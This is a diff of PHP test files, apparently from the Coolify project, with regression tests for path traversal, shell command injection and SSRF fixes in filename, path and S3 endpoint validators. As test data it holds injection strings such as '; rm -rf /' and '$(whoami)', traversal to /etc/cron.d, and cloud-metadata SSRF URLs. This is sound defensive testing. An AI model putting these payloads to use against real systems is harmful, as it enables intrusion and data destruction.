expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(0);
|
||||
})->with([
|
||||
'semicolon injection' => '/etc; rm -rf /',
|
||||
'pipe injection' => '/etc | cat /etc/passwd',
|
||||
'command substitution' => '/etc$(whoami)',
|
||||
'backtick injection' => '/etc`id`',
|
||||
'space injection' => '/etc /tmp',
|
||||
'relative traversal' => '../../../etc/passwd',
|
||||
'no leading slash' => 'etc/passwd',
|
||||
]);
|
||||
@@ -74,3 +74,69 @@ test('postgresql init script accepts legitimate filenames', function () {
|
||||
expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
// Path traversal — GHSA-mv4c-9x67-rrmv regression tests
|
||||
test('postgresql init script rejects path traversal with ../ sequence', function () {
|
||||
expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects path traversal targeting /etc/cron.d', function () {
|
||||
expect(fn () => validateFilenameSafe('../../../../../etc/cron.d/k4zrce', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects absolute path', function () {
|
||||
expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects filename with forward slash', function () {
|
||||
expect(fn () => validateFilenameSafe('subdir/evil.sql', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects filename with backslash', function () {
|
||||
expect(fn () => validateFilenameSafe('subdir\\evil.sql', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects double-dot without slashes', function () {
|
||||
expect(fn () => validateFilenameSafe('..', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects null byte injection', function () {
|
||||
expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script accepts legitimate filenames via validateFilenameSafe', function () {
|
||||
expect(fn () => validateFilenameSafe('init.sql', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateFilenameSafe('01_schema.sql', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateFilenameSafe('init-script.sh', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
// Write-site defence — basename() + escapeshellarg() keep legacy/bad rows safe
|
||||
test('basename() strips path traversal from legacy filenames at write site', function () {
|
||||
expect(basename('../../../etc/cron.d/pwn'))->toBe('pwn');
|
||||
expect(basename('/etc/passwd'))->toBe('passwd');
|
||||
expect(basename('subdir/evil.sql'))->toBe('evil.sql');
|
||||
});
|
||||
|
||||
test('escapeshellarg() neutralises shell metacharacters in tee target', function () {
|
||||
// Simulates how StartPostgresql::generate_init_scripts() builds the tee argument
|
||||
$configuration_dir = '/data/coolify/databases/abc123';
|
||||
$legacy_filename = basename('foo bar*.sql;rm -rf /');
|
||||
$target = "$configuration_dir/docker-entrypoint-initdb.d/{$legacy_filename}";
|
||||
$escaped = escapeshellarg($target);
|
||||
|
||||
// Single-quoted in POSIX sh means no expansion / no extra args regardless of contents.
|
||||
expect($escaped)->toStartWith("'")->toEndWith("'");
|
||||
expect($escaped)->toContain('foo bar*.sql;rm -rf');
|
||||
});
|
||||
@@ -0,0 +1,91 @@
|
||||
<?php
|
||||
|
||||
use App\Models\S3Storage;
|
||||
use App\Rules\SafeWebhookUrl;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
use Tests\TestCase;
|
||||
|
||||
uses(TestCase::class);
|
||||
|
||||
/**
|
||||
* Regression tests for SSRF via S3 Storage endpoint.
|
||||
*
|
||||
* The Livewire forms (Create.php, Form.php) and the model-level defense in
|
||||
* S3Storage::testConnection() share the same SafeWebhookUrl rule. These tests
|
||||
* assert the rule rejects the concrete payloads and that the model refuses to
|
||||
* build an S3 client for an unsafe endpoint.
|
||||
*/
|
||||
it('rejects SSRF payloads on the S3 endpoint', function (string $endpoint) {
|
||||
$validator = Validator::make(
|
||||
['endpoint' => $endpoint],
|
||||
['endpoint' => ['required', 'max:255', new SafeWebhookUrl]],
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue("Expected rejection: {$endpoint}");
|
||||
})->with([
|
||||
'AWS IMDS' => 'http://169.254.169.254/latest/meta-data/',
|
||||
'AWS IMDS bare' => 'http://169.254.169.254',
|
||||
'GCP metadata via link-local' => 'http://169.254.0.1',
|
||||
'loopback v4' => 'http://127.0.0.1',
|
||||
'loopback Redis' => 'http://127.0.0.1:6379',
|
||||
'loopback Postgres' => 'http://127.0.0.1:5432',
|
||||
'loopback alt in /8' => 'http://127.10.20.30',
|
||||
'zero address' => 'http://0.0.0.0',
|
||||
'IPv6 loopback' => 'http://[::1]',
|
||||
'localhost hostname' => 'http://localhost',
|
||||
'localhost with port' => 'http://localhost:9000',
|
||||
'internal suffix' => 'http://minio.internal',
|
||||
'file scheme' => 'file:///etc/passwd',
|
||||
'javascript scheme' => 'javascript:alert(1)',
|
||||
]);
|
||||
|
||||
it('accepts real-world S3 endpoints', function (string $endpoint) {
|
||||
$validator = Validator::make(
|
||||
['endpoint' => $endpoint],
|
||||
['endpoint' => ['required', 'max:255', new SafeWebhookUrl]],
|
||||
);
|
||||
|
||||
expect($validator->passes())->toBeTrue("Expected accepted: {$endpoint}");
|
||||
})->with([
|
||||
'AWS S3' => 'https://s3.us-east-1.amazonaws.com',
|
||||
'Cloudflare R2' => 'https://fake.r2.cloudflarestorage.com',
|
||||
'DigitalOcean Spaces' => 'https://nyc3.digitaloceanspaces.com',
|
||||
'Backblaze B2' => 'https://s3.us-west-001.backblazeb2.com',
|
||||
'Self-hosted MinIO on 10.x' => 'http://10.0.0.5:9000',
|
||||
'Self-hosted MinIO on 172.16.x' => 'http://172.16.0.10:9000',
|
||||
'Self-hosted MinIO on 192.168.x' => 'http://192.168.1.50:9000',
|
||||
'Custom domain MinIO' => 'https://minio.example.com',
|
||||
]);
|
||||
|
||||
it('blocks testConnection() on an unsafe endpoint without issuing HTTP', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
$s3Storage->setRawAttributes([
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'AKIAEXAMPLE',
|
||||
'secret' => 'secret',
|
||||
'bucket' => 'latest/meta-data',
|
||||
'endpoint' => 'http://169.254.169.254',
|
||||
]);
|
||||
|
||||
expect(fn () => $s3Storage->testConnection())
|
||||
->toThrow(RuntimeException::class, 'S3 endpoint is not allowed');
|
||||
});
|
||||
|
||||
it('blocks testConnection() for loopback endpoints', function (string $endpoint) {
|
||||
$s3Storage = new S3Storage;
|
||||
$s3Storage->setRawAttributes([
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'AKIAEXAMPLE',
|
||||
'secret' => 'secret',
|
||||
'bucket' => 'bucket',
|
||||
'endpoint' => $endpoint,
|
||||
]);
|
||||
|
||||
expect(fn () => $s3Storage->testConnection())
|
||||
->toThrow(RuntimeException::class, 'S3 endpoint is not allowed');
|
||||
})->with([
|
||||
'http loopback' => 'http://127.0.0.1:6379',
|
||||
'localhost' => 'http://localhost:9000',
|
||||
'IPv6 loopback' => 'http://[::1]',
|
||||
'internal TLD' => 'http://backend.internal',
|
||||
]);
|
||||
@@ -0,0 +1,138 @@
|
||||
<?php
|
||||
|
||||
test('allows plain filenames without special characters', function () {
|
||||
$validNames = [
|
||||
'init.sql',
|
||||
'01_schema.sql',
|
||||
'setup-db.sql',
|
||||
'create_test_db.sql',
|
||||
'init-script.sh',
|
||||
'UPPERCASE.SQL',
|
||||
'mixed_Case-File.sql',
|
||||
'file123.sql',
|
||||
'a',
|
||||
];
|
||||
|
||||
foreach ($validNames as $name) {
|
||||
expect(fn () => validateFilenameSafe($name, 'init script filename'))
|
||||
->not->toThrow(Exception::class, "Expected '{$name}' to pass");
|
||||
}
|
||||
});
|
||||
|
||||
test('rejects path traversal with ../', function () {
|
||||
expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects path traversal with .. alone', function () {
|
||||
expect(fn () => validateFilenameSafe('..', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects path traversal embedded in filename', function () {
|
||||
expect(fn () => validateFilenameSafe('foo..bar', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects forward slash directory separator', function () {
|
||||
expect(fn () => validateFilenameSafe('foo/bar.sql', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects backslash directory separator', function () {
|
||||
expect(fn () => validateFilenameSafe('foo\\bar.sql', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects absolute path starting with slash', function () {
|
||||
expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects absolute Windows-style path', function () {
|
||||
expect(fn () => validateFilenameSafe('C:\\Windows\\System32\\cmd.exe', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects null byte injection', function () {
|
||||
expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects shell command substitution (inherits from validateShellSafePath)', function () {
|
||||
expect(fn () => validateFilenameSafe('$(whoami).sql', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects backtick command substitution', function () {
|
||||
expect(fn () => validateFilenameSafe('`id`.sql', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects semicolon command separator', function () {
|
||||
expect(fn () => validateFilenameSafe('init.sql;rm -rf /', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects pipe operator', function () {
|
||||
expect(fn () => validateFilenameSafe('init.sql|whoami', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects redirect operators', function () {
|
||||
expect(fn () => validateFilenameSafe('init.sql>/etc/passwd', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects mixed traversal and shell injection', function () {
|
||||
expect(fn () => validateFilenameSafe('../etc/cron.d/$(id)', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('error message contains context string', function () {
|
||||
try {
|
||||
validateFilenameSafe('../evil', 'init script filename');
|
||||
expect(false)->toBeTrue('Should have thrown');
|
||||
} catch (Exception $e) {
|
||||
expect($e->getMessage())->toContain('init script filename');
|
||||
}
|
||||
});
|
||||
|
||||
test('handles empty string without throwing', function () {
|
||||
expect(fn () => validateFilenameSafe('', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects whitespace inside filename (would split into extra tee arg)', function () {
|
||||
expect(fn () => validateFilenameSafe('foo bar.sql', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects glob wildcards', function () {
|
||||
expect(fn () => validateFilenameSafe('init*.sql', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateFilenameSafe('init?.sql', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects glob character class brackets', function () {
|
||||
expect(fn () => validateFilenameSafe('init[abc].sql', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects tilde expansion', function () {
|
||||
expect(fn () => validateFilenameSafe('~/evil.sql', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateFilenameSafe('~root', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('rejects single and double quotes', function () {
|
||||
expect(fn () => validateFilenameSafe("foo'bar.sql", 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateFilenameSafe('foo"bar.sql', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
Reference in new issue
Block a user